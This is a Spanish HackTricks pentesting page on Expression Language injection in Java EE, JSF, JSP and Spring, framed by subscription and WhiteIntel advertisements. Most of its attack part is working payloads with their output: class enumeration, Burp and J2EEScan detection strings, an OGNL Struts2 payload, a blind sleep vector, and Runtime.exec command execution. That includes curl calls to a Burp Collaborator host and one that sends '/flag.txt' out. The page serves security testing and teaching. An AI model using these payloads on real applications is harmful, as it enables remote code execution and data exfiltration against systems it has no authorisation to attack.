¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión del PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares de robo.
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
Puedes visitar su sitio web y probar su motor de forma gratuita en:
Información Básica
El Lenguaje de Expresión (EL) es fundamental en JavaEE para conectar la capa de presentación (por ejemplo, páginas web) y la lógica de la aplicación (por ejemplo, beans gestionados), permitiendo su interacción. Se utiliza predominantemente en:
JavaServer Faces (JSF): Para vincular componentes de UI a datos/acciones de backend.
JavaServer Pages (JSP): Para acceso y manipulación de datos dentro de páginas JSP.
Contexts and Dependency Injection for Java EE (CDI): Para facilitar la interacción de la capa web con beans gestionados.
Contextos de Uso:
Spring Framework: Aplicado en varios módulos como Seguridad y Datos.
Uso General: A través de la API SpEL por desarrolladores en lenguajes basados en JVM como Java, Kotlin y Scala.
EL está presente en tecnologías JavaEE, entornos independientes y es reconocible a través de extensiones de archivo .jsp o .jsf, errores de pila y términos como "Servlet" en encabezados. Sin embargo, sus características y el uso de ciertos caracteres pueden depender de la versión.
Dependiendo de la versión de EL, algunas características pueden estar activadas o desactivadas y generalmente algunos caracteres pueden estar prohibidos.
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:{5*5}[25]
Observa cómo en el ejemplo anterior el término {5*5} fue evaluado.
#Basic string operations examples{"a".toString()}[a]{"dfd".replace("d","x")}[xfx]#Access to the String class{"".getClass()}[class java.lang.String]#Access ro the String class bypassing "getClass"#{""["class"]}#Access to arbitrary class{"".getClass().forName("java.util.Date")}[class java.util.Date]#List methods of a class{"".getClass().forName("java.util.Date").getMethods()[0].toString()}[public boolean java.util.Date.equals(java.lang.Object)]
Detección
Detección de Burp
gk6q${"zkz".toString().replace("k","x")}doap2#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
Detección de J2EE
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
Dormir 10 segundos
#Blind detection vector (sleep during 10 seconds)https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
#Check the method getRuntime is there{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}[public static java.lang.Runtime java.lang.Runtime.getRuntime()]#Execute command (you won't see the command output in the console){"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}[Process[pid=10892, exitValue=0]]#Execute command bypassing "getClass"#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares de robo.
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
Puedes visitar su sitio web y probar su motor de forma gratuita en:
¿Trabajas en una empresa de ciberseguridad? ¿Quieres que tu empresa sea anunciada en HackTricks? ¿O quieres tener acceso a la última versión del PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!